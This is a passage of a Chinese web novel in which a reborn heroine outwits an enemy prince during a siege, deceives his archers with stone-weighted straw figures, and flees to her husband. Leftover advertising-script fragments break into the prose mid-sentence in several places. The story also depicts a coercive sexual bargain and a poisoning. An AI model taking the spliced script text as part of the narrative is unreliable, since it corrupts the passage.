“自然。”李酌赋说得神秘,“我曾经做过一个梦,梦里的你当了皇后,只不过最后你也死了,因为阿之奎攻下了长安。你看,现如今不就是一步步实现了,只不过这一次,你没有当上皇后就要死了。” 李酌赋也重生了,虽然说是死在她后边,但也死得快,她身后还有商震的后招没有被发现,只看到身前的最后一步,便觉得那一步是最好的。 枕清勾唇道:“既然你说我做了皇后,那圣人又是谁?想必不是阿之奎,因为你说是他攻入了长安。小郡王这个梦做得倒是特别。” 很想说一句这不是梦,而是真实的,不过重生这件事太过荒诞,李酌赋也没有想告诉别人的意思,这种东西瞒在自己心里便是最好的,至于张宣晟坐上皇位的事情,他更不会讲出来。 他一不留神,枕清便脱离了他的桎梏,枕清拉过李酌赋的衣襟,把人拉近在自己的身旁,轻声道:“小郡王。” “你害怕了?想示弱?”李酌赋仍由枕清的动作,他眉梢微微一挑,垂眸凝视枕清,发觉她真是很白,而且还很漂亮。 只不过这心肠,比任何女娘都坏。别人给她一巴掌,她一定要还给旁人两个清脆响亮的耳光。 不过要是真的甩他一个耳光,李酌赋还会觉得够味。他当初怎么就没发现枕清的好呢。 枕清瞅准阿之奎和周犹走来的动作,看着被大夫抬着的张宣晟,她扯过李酌赋脖颈上的玉佩,两人在外人看来紧密相接,只有他们两人知道,还空余出来一大片的位置。 突然听到有人轻咳示意,枕清眸中闪过一抹玩味,她的姿态谈不上慌乱,却也引得人遐想,没人没敢弄出半点的声音,都是小心翼翼的。 直到周犹紧张地问张宣晟如何了,众人才找回自己的心神。 大夫面色难堪,嘴角隐隐抽搐,看着阿之奎的沉思的目光,眉心又微微皱起来。 半刻钟后,大夫道:“这位郎君的脉象微弱,但不必太急,好好休养生息一段时日,定时能养回来的。” 这件事折腾了好一会,枕清知道阿之奎想来找她,但是她不想见阿之奎,反倒是躲在了李酌复身后。阿之奎目光沉沉地落在两人身上,突然发出一声诡异的哼笑,心中已经有一定的衡量。 阿之奎知道张宣晟和枕清的关系,但是没想到枕清居然和李酌赋也有另一番关系,这场面,很难不让阿之奎怀疑,这是李酌赋与张宣晟为了枕清而起了争执,从未捅了张宣晟。 李酌赋不知道阿之奎的想法,他看了一眼没有任何表示的枕清,目光又冷了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下来,后知后觉刚才的枕清这是拿了他做幌子。可是这么多人看着,他也没打算解释,正想要抬手揽过枕清,枕清恰似知道他的下一步动作,先走了一步。 步伐轻快,像是一片很轻的叶子,明明就是在空中盘旋,可是无论如何都抓不住,抑或是即使停留在手中,她也依旧会飘走。 不知道这样的人,究竟会了为了谁而停留。 但又觉得,像是枕清这样的人压根不会爱人。 可所有人不知道,枕清不是不会爱人,而是她想要得到肯定的爱。他们这群人,口口声声说着喜欢,可是为了天下,为了追逐群雄,能够抛下妻子,甚至弃之如敝屣。 这样的人里,没有妻子,只有随意丢弃的棋子。 这个世界,江诉最爱她,她也最爱江诉。 - 今日一事,张宣晟与李酌赋在阿之奎那里不能获得完全的信任,毕竟他们都和阿之奎最讨厌、也最警惕的人有瓜葛。 她就是想要在这里看狗咬狗。 现如今咬起来并不多。 那就再等等。 这么一等,秋季已经过去了大半,江诉依旧在某地蛰伏,而云行野率领着士兵在城墙外包围,只差如何一举攻回城池。 丧父之痛,并未让云行野悲痛到难以振作,她反而恳请太后殿下让他率兵前往,当下无人,太后殿下也只得应允,却在出发前,再三强调,需要保护好自己。 枕清对外边的情形表面一概不知道,但随着阿之奎的动作,隐约能猜测到一些,直到有天齐离弦回来了,走路还一瘸一拐的,不像是被打的,更像是被什么东西给撞到了。 枕清慢悠悠道:“你的腿怎么了?” 齐离弦说:“被狗咬了。” “是挺狗的。”枕清漫不经心道,“再过半月,我们就走。” 齐离弦面露疑惑,她小声道:“你有办法?” 枕清颔首,却没有多言。 这段时日一直待在这边,看似没有任何动作,但是枕清已经把大部分东西都已经摸清楚,而且离间计也有所成效,不过让枕清一直奇怪的是,为什么阿之奎没有找她的麻烦,甚至一直好吃好喝的给着。 但也称不上捧着,却也没有苛责了去。 枕清眼尾上挑,狐疑道:“你是不是为了我,和阿之奎做了某种交易?” 齐离弦被讲得神色一僵,有躲闪的意思,手中的动作不自觉变得匆忙,她说:“怎么可能,你别把我想太好了。” 怕枕清不信,她继续补充,“我确实说过让他不要动你,但是决定权依旧在他手中,即使我说了,也并不管用。” 实在是吃不消枕清的探究,齐离弦走离了此地,转身躺在了一侧,沉沉闭眼,任由枕清如何追问,她都闭口不言。 连日来,她一直在和阿之奎交织中,起初还是和和气气地讲话,后来不知道为什么火气逐渐变得大些,阿之奎就倾身吻了上来,令齐离弦猝不及防。 两人在床上生生纠缠了好几日,闹得彼此精疲力竭,但齐离弦向来受不了这样,阿之奎拿准她的命门,说只要乖乖陪着他,那么他可以放过枕清一命。 鬼使神差中,齐离弦答应了。其实只有她自己知道,这是她心中不排斥的心甘情愿,而枕清的这件事,是她不违背自己的道德,顺从内心的一个借口。 除了自己,谁也不知道这件事。 可是在她答应的那一刻,她看到了阿之奎的满眼憎恶,刮痛了她乱颤的心。 这几月的夜夜荒唐,让齐离弦如同被捧在云端之上,又重重地被扔了下来,就好像是玩乐后的惩罚。 这是她自己犯的贱,也怨不得别人。 最后一晚,阿之奎问:“你想要输,还是赢?” 齐离弦愣怔片刻,连着这么多日,还没有迷糊不清,她当即咬牙,忽略含苞待放的感知,忍受沉痛与欢畅,紧紧抓住阿之奎的双臂。 她咬牙道:“我想要赢,阿之奎,我要赢。” ——“真可惜,我也要赢。” 96. 难忘枕上十年事(七) 天光乍现,枕清坐在一处马厩前,李酌赋堵着枕清的动作,问道:“那日,你是不是故意的,故意与我凑近,让阿之奎疏离我。” 枕清闻言既没有抬眸看他,也没有说话,而是沉默。 这一副模样,李酌赋料定了自己是说对了,于是走前握住枕清的手笔,咬牙切齿道:“你以为你这样做你就能离间我和阿之奎吗?枕清,你简直在痴心妄想!” 脑中已经被怒意焦灼着,没想到枕清居然还是这副不冷不淡的模样,他更是怒火中烧,更想要厉声质问时,却见阿之奎带着周犹朝这边看来。两人面红耳赤的争吵,落在旁人眼中,更有道不清分不明的意味。 枕清冷冷地甩开李酌赋的手,眼中露出只有他能看得见的嘲讽,她悠悠道:“我就是故意的,你可以说你完全信任阿之奎,可是经过这一两次,你能完全保证阿之奎信任你么?大家都是疑心病这么重的人,你难道察觉不出来阿之奎已经疏远了你,只和周犹走近?” 话语正落,李酌赋眉心猛地一跳,他逐渐发觉,这样的行径被枕清猜准了大半,而且也有这样的苗头出现,甚至有势不可挡的威力。 明明他先和阿之奎前桥搭线的,凭什么他们后来者居上。心中的不平衡日增月益,更是看不惯张宣晟和周犹。 枕清自然知道阿之奎会与周犹走近,一是周犹他的确有极大的才华与能力,不然张宣晟也不会有能力坐上皇位,第二是周犹和阿之奎一样,对她极其厌恶。 俗话说有了共同的敌人,就是朋友。 李酌赋摸不清的阿之奎的喜恶,自然落了周犹下乘。 枕清也不管这些,看到了人就想要走,意外的是,阿之奎居然叫住了她,“枕清,我们坐下来,心平气和地聊一聊。” 声音是前所未有的平和,表情却是一如既往的遭人讨厌。 她略过旁人的目光,看着阿之奎抬手做了一个请的动作,于是迈开步子走向他所指的位置,李酌赋颇为不放心想要跟着前去,却被阿之奎身后的侍卫阻挡了去路。 阿之奎笑着回望道:“枕清这么招人喜欢,小郡王不必害怕,我倒是没有想杀她的心思。如果她死了,第二日死的人便会是我了。” 他这话看似说得情真意切,全然不像是玩笑话,可枕清也没发觉出哪里正经了。她沉沉地看向阿之奎,总觉得今日跟着他聊,不是什么很好的话题,但也不至于落了下乘。 秋日的风高爽而朗阔,高大的树木已有大片泛黄的叶子簌簌而动,就像是催命的符咒,也像是践行的歌谣,心中升起巨大的悲哀。 她与阿之奎是水火不容的存在,如果说是坐下好好谈,的确是从未有过的存在,这件事对于他们而言,太过荒诞。 因为彼此都是对对方深恶痛绝的人。 “说吧。”枕清目光平静,语气不算好,但也没差到极致。 阿之奎顿了顿,不知道想到了什么,他还是没有说话。良久后,才讥讽开口道:“你可真是难杀。” 是嘲笑,是落败,是无可奈何,也是走投无路。 仿佛身后还有另一只无形的大手推动着他,掌控全局的命脉,而他们所有人都是那只手的棋子,被迫围绕在棋盘之上。 枕清听懂他的话外之音,眉心不自觉地一拧,如果这个人是张宣晟的话,他并没有那么大的本事能让阿之奎心悦诚服。 “怎么会难杀呢。”枕清若有似无地试探道,“你现在就可以动手杀了我,没有任何后顾之忧。” 阿之奎深深看着她,眼中流露出的厌恶并不假,他苦笑一声:“要不是答应了旁人,你当真以为我不敢杀你吗?枕清,你现在还在我的手中,我劝你不要惹怒我,不然我介意鱼死网破。” 枕清这下倒是不懂了,她眉峰一挑,慢慢道:“你叫我来,就是为了让我听你说这些话的,倘若只有这个,我想我们没必要坐下来好好聊。” 阿之奎深吸一口气,觉得枕清是一如既往地让人讨厌,他道:“没有,我想让你保护齐离弦,算我......求你。” 听到这话,她嗤笑一声,好好端详了一番的神情,幽幽道:“你觉得你会输,为什么?胜负还未曾出,你和我说这些,会不会太早了些。”还没等阿之奎再多说什么,枕清回绝道,“我不要,你们一个两个都要把人托付给我,这算什么意思?我都自身难保了,何必强我所难?” 阿之奎听到这个话,火气当即涌了上来,他撑着桌案,忍着怒意,抿唇半晌后道:“什么你自身难保,保你的人可不要太多!我身旁的张宣晟、李酌赋,还有齐离弦与江诉,更有......”他说到此处却像是说不下去了,于是强硬地偏过脑袋,“你受保护的程度,远比你自己想象的要多得多。你可真是厉害,厉害到我身旁的每个人都喜欢你。” 他鼻尖微微泛酸,眼中更有酸楚,连带着眼皮都被泪水灼烫,整个人如同坠入火坑。阿之奎实在是想不明白枕清何德何能,就仅仅是因为她的立场站得对么?可是他又有什么错呢,还是说从与江诉分离的那一刻就已经是错了,让他坠入万劫不复的深渊。 可是他真的、真的很痛。 枕清冷眼看着阿之奎痛苦的神色,她无法对阿之奎感同身受,她也想质问阿之奎,他当真那么恨大启吗?恨到可以不顾三万将士的性命,使用回家的骗局,让他们互相残杀,这样的杀戮又是何其残忍。 “阿之奎,我不会答应你,不仅仅是因为我讨厌你,而不帮她,而是因为我自己也是泥菩萨过江,自身难保。”枕清道,“你身后那人究竟是谁,我不知道,想必你也不会告诉我。我连你背后的人都摸不清到底是谁,你还想让我保齐离弦,你说得这些话,倒是有些好笑了。” 她知道阿之奎已经放不出任何话了,正想要起身,阿之奎见状,旋即跟着站起身道:“那个人不会伤害你的,所以你也不用担忧害怕。” 枕清轻蔑道:“除了江诉和应钰,我谁都不信,也包括和你一起的齐离弦。所以你懂么?阿之奎,我不信你,也不信你身后那个人。” 这话说得有理有据,虽然阿之奎能想到枕清会离间自己与李酌赋,可是当他与齐离弦日日厮混在一起,也在无形离间齐离弦与枕清的关系。 的确是他失算了。 枕清虽然没有得到自己想要听到的回答,但也不算白来一趟,见阿之奎失魂落魄的模样,她意外地没有显露出得意与嚣张。 其实她说谎了。 她信齐离弦,信陈琅,甚至也信盛松言与符生枝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 唯独不信的人,只有阿之奎一人而已。 她之所以会说出这种话,只是因为她想要让阿之奎明白自己就是如同所想的那般,那般的人。 多疑、狡诈、冷漠。 她已经走到了最后一步。就差一根点燃的火药。 枕清在这几个月内,虽说没有听到任何一点的风声,可还是传递了一点消息。天下没有不透风的墙。 江诉早在之前采纳了枕清的建议,派遣使者去吐蕃结好可汗,虽说吐蕃可汗并没有听江诉的话率兵占领河东一侧,但是云行野赶了过来,阿之奎只得放弃对樊城的攻击围困,从而退走了。 这件事本就是秘密行使,并没有人知道,更不论是枕清与齐离弦,于是在这几人之中怀疑加深,所以看到枕清与旁人在一起出现的时候,那抹怀疑便种下了一个种子,随之生根发芽,再到难以动辄的地步。 枕清走到护城河一处,看着源源不断地河水与小鱼朝外边流动,突然想到了江诉曾经讲过的一件事,她拿过几张布条,塞到鱼的肚子中。 城池内突然传来几声轰动,说天将有大乱,引起一阵恐慌,居然也传到了外边。 云行野与江诉会晤,两方人马都在一处开始想办法如何应对阿之奎,但是阿之奎经上一次,已经选择按兵不动。 听说河东的百姓在护城河内吃到了有纸条的鱼,说天下恐怕有祸事出现,引得人一阵后怕,分外不安。 如今天下战火四起,大家都过得不舒坦,亏损十分严重。 江诉一听这事,问牧青:“这护城河连着郊外的哪条河水?” 牧青前几日已经摸清楚了此地与外边的地形,知道这里连着水路的地方,当即指向了外边的安营扎寨后的对面那条长湖,道:“那条,城中有一个狭小的水口,如果不仔细查看,压根不会发觉。” 江诉听罢,当即走了出去,沿着牧青所指的那条湖泊走过去。云行野与牧青紧随其后,江诉垂首看着湖水中的鱼一个摆尾,而牧青当即刺了下去,对那条鱼开肠破肚。 他奇怪道:“难道是我猜错了,城池内的纸条不是夫人放的?” 江诉笑笑道:“是她放的,不过她放得不多,如果太多会引起阿之奎的猜想,如此才是正正好,你别想着她的纸条能顺着湖水流向城外,她压根没有这个想法。” “那夫人是何意思?” “她这是虚张声势呢。” 两人齐齐望着江诉,还是没有理解这番的结论,江诉解释道:“她这是想让我们以水下进城攻击,可是阿之奎生性多疑,自然会好好探究一番,如果我们走水路攻入城内,阿之奎也会想到,从而就在水边等着。 “因此我们不下水路,而是等阿之奎把人马都集结到护城河旁,城墙正是薄弱之时,倒时候我们可以一举攻下城池,夺回代城,一步步掠回河东各座城池。” 云行野没想到枕清与江诉能这般心有灵犀,这一番分析破解,换做是任何一个人都不能明白枕清此举的动作。 云行野开始怀疑道:“若是阿之奎没有想到这些,也没派人盯着水路,那应当如何?倘若算错了,岂不是自投罗网。” 江诉温和道:“她会有办法的,我们只需要信她。” 97. 难忘枕上十年事(八) 城池的字条的的确确引起了阿之奎的怀疑,他第一个锁定的人便是枕清,问过下属,一切行动没有任何出格的举动,仿若这件事就是与她无关一般。 换做旁人或许不会深究察觉,但他是阿之奎,而另一个人是枕清。 阿之奎沿着河道走了一圈,终于发现了水流流向郊外的动向,下属目光与阿之奎掠在一处,他抬眸看向旁人,嘴角一翘,忽地点了点河水,意态坚决:“这几日就好好盯着这片地方。” 周犹原本想要走的脚步一顿,再度折回来,猜测着道:“王子这是怀疑他们会从水中过来,打我们个猝不及防?” 阿之奎病歪地坐着,似在思索,又像是随意打眼,他开口:“是,不然为何好端端会闹出这么大的动静,表面看起来像是鱼肚子在作祟,实则声东击西。” 在一旁抱臂的李酌赋见状不对,看着周犹与阿之奎紧密交谈,突然觉得口中泛酸,他当即放下手,跟随着他们一同探身望向水源流向的去处,装作十分望闻问切的模样。 “难不倒是有人故意在鱼肚子里塞了纸条,想让城内的消息借助这几条小鱼向外传递?” 李酌赋所疑惑的,也是旁人想知道的。 闻言的阿之奎冷冽的目光轻飘飘落在李酌赋身上,旁人能想到的东西,枕清自然也能猜测到的,当然不会以大家都知道的步骤进行下去,要的就是一个出其不意。 周犹在此时还没察觉到李酌赋已带有敌意的意思,他好言好语地解释道:“这河流中的鱼类甚多,如果真的要游到外边,还能确保外边的人能找到藏有纸条的鱼,简直是大海捞针,更何况,你不能确保这纸条在鱼儿在肚子中真的能保存得完好无所,所以这一行径并不可靠,用此方法的人也一定能想到,因此不会是想达到这样的目的。” 条理清晰地解释下来,阿之奎大为满意,李酌赋淡淡一笑,没有说话,可没有人知道她在心中是如何咬碎了牙,都快把自己弄得一身郁闷。 他紧接着反驳道:“这水流的出路口狭窄,顶多只能让两三人并排同行,况且游进来也需要费不少力气,浑身湿漉漉的又能如何动手?那人难道想不到么?既然害怕旁人攻击不备,何不直接把洞口堵上,一了百了,没有任何后顾之忧!” 周犹又道:“放他们进来,自然是想要他们败兴而归,倘若堵上了,怎么能赢呢?况且,出路口狭窄才好,叫他们无路可逃,而我们来个瓮中捉鳖。” 同时,在城池郊外的连帐外。 云行野担忧地问:“如果阿之奎要把这个洞口堵上,那我们应当如何应对,岂不是又只能在外面坐以待毙?” 江诉眼眸深邃望着云行野,眼底充满了平静,整个人清雅到极致,全无半分散漫,他的声音平和携带着意味不明的清冷: “他不会。代州的那条护城河是从高山流下,一直蔓延到城池郊外,倘若真的像你所说的堵上,这条河流的水没有地方可去,便会蔓延出来,阿之奎断然不会让这种情况出现。而且,他还想对我们一网打尽,自然不会放过这次机会。” 云行野心中多了份笃定的肯定,他放下心中的戒备道:“那我们何时攻城?” “等。”江诉留下这一句,再而补充道,“等他们故意散播消息,引诱我们上钩,就是攻城之时。” 又是等。 云行野的神情逐渐暗淡了下来,他已经等了许久,从长安开始一直等着,没有等到他父亲的消息,只听到身死的噩耗,后来他想要领兵,太后姑姑也让他等,现如今在代州的郊外,依旧是等。 不是他不能等,而是他等了太久。 彼时的牧青掀开帐帘,看向江诉,拱手道:“长史说这算是麦子收割的好时候,我们做了上千个稻草人,现在又当如何?” 江诉徐缓道:“给每个稻草人中间加些许石子,使得分量更重一些,能沉入湖面即可。” 得令的牧青看了一眼云行野,随后再次抬手说了一声告退,利落地退了出去。 莫名其妙地被看一眼的云行野察觉到一丝不对味来,他这神情究竟是何意思?云行野不太明白,但是没深想,反倒是江诉解释道:“现下还没发现么?这是想让你的人也跟着一起帮忙,你整日在我军营内混吃,有人不舒服了。” 云行野被讲得面颊一红,大手一挥道:“我知晓了,等会着手就安排人去。” 言毕,忽而想到商震与北肆野,云行野又问:“你将商伯父与北叔父带到哪里去了?我听说他们二人不是在你营帐内么,这么多日我可是连他们的影子都没看到。” 江诉说:“我派人将他们打晕重新送回庭州去了。” 听罢,云行野不禁为江诉捏了一把汗,惹上那两位,江诉可算是踢到铁板了,如果在日后碰面,会不会先找江诉打一架,随后开始大声怒骂。 这样的确符合商震的风格,当商震醒过来的时候,已经去往了庭州的路上,甚至护送的人个个都是高手。 他们两这才发觉江诉才是那个深藏不露的人,身旁居然有这么多以一敌十的高手,大家就好像只看到江诉温和一面,从来没有将人翻转看到另一面。 二人在心中思忖半晌,倘若这次真的进入庭州境内,想必在符生枝底下更难逃脱,于是在路上使劲了花招,但依旧没有奏效。 原以为真的逃离不了后,两旁的沙丘上居然埋伏了两拨人马,一拨是吐蕃,而另一侧则是突厥人,见到商震与北肆野,像是见到了什么达官显贵,不要命似地就往前冲,三番人开始厮杀,溅起来的血映照着夕阳,一片红艳。 戈壁上方都是深色的痕迹,沙漠石粒子纷飞,鼻尖充斥闷热的血腥味,让人简直想吐。 商震这么多年,第一次开了刀,抹了脖,银白色的刀刃艳得刺目,他随意找了个死尸,将染血的大刀在尸首上抹了四下,把刀擦得干净后才开始迈着与那些人背道而驰的方向。 夕阳西下,烈日的余晖照在商震与云行野身旁,斜出去的影子变得越来越高大,高到蔓延在整片沙丘群上,像是站在大启的制高点。 江诉手底下的人在方才的那场厮杀中已是精疲力尽,他们眼睁睁看着那两苍老巨大的身形逐渐远离,神情流露出不甘,嘴角溢满苦笑,跟手下人道:“回禀长史,他们走了。” 在二十年前的厮杀中,商震与北肆野什么没见过,他们从始至终都是胜利者。 一人一刀,赢遍天下。 听到商震与北肆野逃走的消息,江诉倒也没那么地意外,不过听到这消息,还是忍不住叹息了一声,怪不得总有人说姜还是老得辣。 罢了,人各有命。 这几日代州依旧安静毫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 无动静,阿之奎连日来都在河边探查最好的藏身处,待万事俱备只差东风后,把消息散播了出去。 消息传来,正巧偶遇中秋节,河边多是百姓放花灯,正好是松懈之时,倘若泅水进来,定然能打得他们措手不及。 江诉自然明白阿之奎的意图,告诉部下的人一切都按照原来进行。 农历八月十五中秋节,城中虽说没有昔日热闹,但依旧有百姓会在河边祈愿,希望所有人都能健康,病痛消散,天下太平。 枕清拉着齐离弦一同走到护城河边,隐隐能看到暗处有人躲藏,伺机而动。 齐离弦在这段时日也听到了风声,知道阿之奎的人马都埋伏在河边,就是不知道为何要埋伏在此处,她对现下的局势有些不明白,枕清深吸一口气,看着周围来来往往的百姓,并没有出口解释,而是给予她一个眼神。 那目光只有一句话。 今夜,跟我走。 齐离弦立时知道这是枕清开始打算动作,而她和阿之奎在今夜,也是最后一晚的和平共处。 枕清拉过齐离弦,跟随大部队一同走近护城河放了花灯。湖面上飘满了淅淅沥沥的小船灯,完全看不清水底究竟是一番怎样的情形,而不远处,阿之奎站在长街的高台之下,看着底下的动作。 齐离弦追寻枕清的目光望去,只见高台之上的阿之奎汇聚所有灯光,将他照得亮堂,而他正惬意地听着旁人耳语,好像是有什么事情已经出现。 阿之奎满意地勾唇,抬手覆在一旁的栏杆处,整个人俯瞰底端的人,唯独在齐离弦身上停留许久。 距离太过遥远,看不清彼此的目光,可是齐离弦依旧能感受那目光是灼热的,也是刺痛的。 她不愿再看,只偏过脑袋,静静看着湖面的潺潺流水,以及身旁在求什么的枕清。 方才阿之奎听到手底下的汇报今日的成效,说是城郊外已经有人开始有不少人游进来,数了一下,竟有上千人! 今晚是满月,夜色昏暗,却是是很好行凶作案的天色。 阿之奎冷声下令:“继续等。” 待人完完全全进来后,再也没有看到人从水域中游进来,阿之奎忽地大笑,他吩咐下去:“准备弓箭手,全力射向湖中。” 河边暗藏的兵丁整装待发,整齐划一地抬起弓箭射向湖中,湖边的小娘子小郎君见到如此场面,心中的魂都要吓飞了,他们当即如同老鼠一般开始抱头乱窜。 天空密密麻麻的箭矢如同倾盆大雨,令人万箭穿心,避无可避。 站在局外的人见到如此惊心动魄的场景,心都为之一颤,仿若那些箭矢面对着她们。 枕清拉过齐离弦的手腕,回头看向大片的银光利刃,心中倏地空了一下,不得不庆幸,湖中没有一个真人。 她抬头看向高处的阿之奎,都在彼此的目光看到憎恶。 枕清并没有刻意表露出情绪,可那股情绪总是抵挡不住,她提起裙摆,朝城墙那处跑去,阿之奎见状,觉得一切都在掌握之中,并未理会那两人的动作,只是大步流星地走了下来,探查湖中究竟是怎样一番情形。 夜晚的天色漆黑,湖面更是一片黑沉,一个又一个“人”模样地浮出水面,直到有个人发出惊呼声,惊骇道:“糟糕!中计了!这压根不是人,是一堆含有石子的稻草!” 98. 酒浓入梦夜寻人(一) 所有人面色大变,看着花灯照亮逐渐浮起稻草人,阿之奎旋即望向枕清远离的方向,突然发出一道极为扭曲暴怒的声音:“枕清!好极了!” 枕清听到身后的动作,知道阿之奎清楚自己中计了,正在怒不可遏。 她的手揪住裙摆,抓紧身旁的齐离弦跑得更快,长长的街道因为午后下过一场雨,长廊下的灯笼照亮湿漉漉的地面,即使如此,亦是模糊,也看不清的青苔。 跑了半晌,枕清已是精疲力尽,步子不由缓了下来,她脚底突然踩到一处青苔,整个人倒在地上,溅起一洼水坑。 身后阿之奎的士兵已然快要追上,枕清顾不了那么多,先推着齐离弦离开,见齐离弦迟迟不走,枕清忽地怒道:“你快走,你想要阿之奎抓到两个人质么?齐离弦,你别给我添麻烦!” 齐离弦对于枕清的嘴硬心软简直是气笑了,她当即扶起枕清,阴恻恻地指着她摔倒的模样,嘲笑道:“你这是在说什么?现在是你在给我添麻烦,枕清。” 枕清看着身后的人越来越近,只好忍着痛,跟着齐离弦一同往前跑去,嘴上还不忘记说:“你先去城东把这个东西放在江诉手中,我要去城西那边。” 齐离弦拉住她的衣袖,捉急问:“你想做什么?” 枕清拍了拍齐离弦的手道:“不做什么,就是不放心,我不会死的,你放心。” 齐离弦不愿意枕清一个人前去,可是枕清已经先走一步,她紧紧握住手中的东西,口中发出不争气的叹息声,随后朝城东那边先走。 至于说江诉会进来,齐离弦也只能试着碰碰运气了。 忍着痛的枕清去找了张宣晟,她还有一个步骤没有走,那就是香囊。 现如今的时间已经到了,如果彼时没有拿回来的话,那么想要她死的人一定知道他不受香囊所控制。 此地还不知道外边的情形,见到枕清进来,那几人并未阻挡说话。 枕清看到张宣晟躺在床上一动不动,就像是睡着了那般安静,她面无表情地看着他,随后从他身上勾下香囊,张宣晟还未完全地睡下去,听到动静,张宣晟茫然地睁开眼睛。 他张了张唇瓣,声音嘶哑中带着惊喜,关切道:“你怎么来了。” “我为什么不能来?”枕清气定神闲道,“你发现了我身上香囊的秘密,我回来当然是为了取你的性命。” 张宣晟听到这样的回答,抿了抿唇瓣,他畅怀道:“好啊,那你杀了我吧。我听到外边的动静,是江诉带着人杀了进来了吗?你果真是没有选错人。” 枕清不知道张宣晟为何如此说,她嘴角勾起嘲讽,缓缓开口:“我不会杀你。你觉得你为什么能轻飘飘地在我身上拿到这个东西,自然是因为,这个东西有毒,而你会死。”她补充道,“不是我选对了江诉,而是他选对了我。主导在我,而不是他。” 这话说得狂妄,可如果是枕清,的确如此。 “你可以说我心狠手辣,更可以说我恶毒。”枕清笑,“可我真的好奇怪,为什么你们男人群雄逐鹿,抛妻弃子,手段用尽,可以被称为有政治能力的野心家,而女子只能被你们一概评价为毒妇。又是谁规定女子不能如同男子那般为了自己的野心、事业跟你们男人一样追逐天下?” 张宣晟茫然地听着,忽地轻轻道:“你想要当皇帝?” 枕清摇头睨他,声音坚决清冷:“不,我只是想......让世人抛开对女子的成见,也想为枕家讨回公道。” 话音落完,枕清已经能完全肯定张宣晟不知道更多的事情。这味香是梅海身上出现的,现在人已经死了。 那么还有谁呢,她身边的人究竟还有谁呢。 能让阿之奎都为之妥协,甚至想要至她于死地。 枕清心中跑出一个不确定的答案,随之否认,直至她听到外面细细簌簌的动静,猛然抬起眼,她并没有再看向张宣晟,她的脚步正要迈出去,身后张宣晟好像知道这次是他们此生最后一次见面,他当即出声: “如果没有江诉,你会不会爱我。枕清,我有时候真的好恨你,为什么你的心可以这么硬,就好像永远都不会被打动融化,我明明那么爱你......” 他面露悲恸,好像已经到了肝肠寸断的地步,就连每一口的呼吸都是极致的折磨,这段时日他日日夜夜都在想念着枕清,可是她永远都看不到他。 张宣晟痛苦、怨怼,他也悔恨,如果在上一世他没有利用枕清,真的与她琴瑟和鸣至白头偕老,一切会不会又是不一样? 枕清听到这句话,她的唇瓣不自觉抿成一条直线,眼神中流露出不解,仿若听到一件不好笑的笑话。 “你说你爱我?如果这样算是爱,那么我真替你感到悲哀。我所认为的爱,是没有以命相逼的算计,是没有参杂利益的开始,是全心全意都为了彼此,而不是权衡利弊的瞻前顾后,违背内心。”枕清嘲道,“张宣晟,你给不了我这样的爱,而我也不会爱你,因为最开始我接近你,就是带着算计,一如你对我那般。” 第一次在长安的那天,张宣晟觉得枕清没有认出他,其实枕清看到了他,所以他出现时,枕清没有任何一点的意外。 待枕清说完,张宣晟便已经明白这一切都是枕清算计好的,对他从未有过任何真情实感,更别说那么一点点的喜欢,他内心如同被利剑搅和得七零八落,口腔连带胸腔憋着一口气,他倏地吐出一口血水。枕清见状,也只是冷冷看着,她心性薄凉,充满算计,就如同柳长鸣所说的那样。 江诉害怕枕清发现不一样的他,可枕清又何尝不是在伪装之下,只是她并不惧怕,因为江诉真的爱她。 她听到外边的脚步声越来越近,当即掀开帷帐,快步走到外面的一条大道,大道上的烛火昏暗,身后突然传来一声用尽全力的爆裂声音,如同将牙齿咬碎了一般:“枕清跑了,你们把人追回来,赏黄金百两!” 倘若软的不行,那便来硬的吧。 张宣晟终究是违背了他的诺言,发了疯。 身后的兵丁齐齐看向远走的枕清,枕清猛地回首,那些人如同饿了许多天的豺狼虎豹,看到一块唾手可得的肥肉,径直朝枕清追去。 枕清见此动作,拔腿就跑。她的双膝在方才就已经摔破,可一旦停了下来,她会被阿之奎当成威胁江诉的把柄,而且还会死。 所以枕清一刻都不敢懈怠,她提起裙摆,咬牙朝无尽漆黑的长街前跑去,狂风在耳边呼啸,这条路仿佛长到没有尽头。她望着眼前没有光的尽头,不知道最后等着她的是不是钻进了死胡同。身后的追兵依旧穷追不舍,她没有选择,也只能拼命一搏,毫无顾忌地往前跑去,就如同上一世奔赴在江诉的府邸之中。 与此同时,江诉也率领大批人马朝城西跑去,只为了能与枕清提早见面。 两人都在彼此看不到的境地内,朝对方奔赴而来,直到最后一刻。 枕清在城中徘徊周旋良久,已是精疲力竭,她猛然转身,身后的兵丁即将到跟前,她没有一丝力气,想要放弃奔跑再想其他办法的那一刻,后边倏地出现大片的明亮烛火,前方的兵丁神情逐渐变得惊惧,停下追逐的脚步,不再靠近。 枕清仿若察觉到了什么,她转身回望,抬首望见为首那张想念已久的清隽面容,撞进眸光的想念中,她瞬间眼含热泪。原本以为筋疲力尽,可身上突然传来一股强烈的力量,枕清凭借这股心悸,用尽最后一点力气,猛地朝江诉的怀中跑去。 江诉望着那抹身影奋尽全力飞奔而来,他也跟着跑了起来,猛然抱住了身前人儿。她的身子骨纤细,弱不胜衣,腰肢一手便可以揽入怀中,即使如此单薄脆弱,可她依旧是江诉见过最坚韧、最厉害的女娘。 感受到久违的气息,枕清忍不住埋进江诉的胸膛,吸了吸鼻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 子,原本所有的苦难与委屈都可以吞入腹中,可是见到了江诉,那些原本不必的忍耐都有发泄的出口,枕清长长的睫毛携带着细小的泪珠,深深埋入江诉的衣领之中。 江诉察觉到身前的人心绪不高,他一手用力地将人按在怀中,另一手抬起慢慢抚摸枕清的脊背,望见身前来了一批对枕清穷追不舍的人,用眼尾不动声色的示意牧青动手。他手中安抚的动作并未因此而停止,直到感受怀中的人儿情绪微微舒缓,才把人打横抱起。 好像又轻了一些,仿若没有半点重量,可江诉的心却像是被千金压得难以呼吸,他喉头微哽,深深望着枕清。 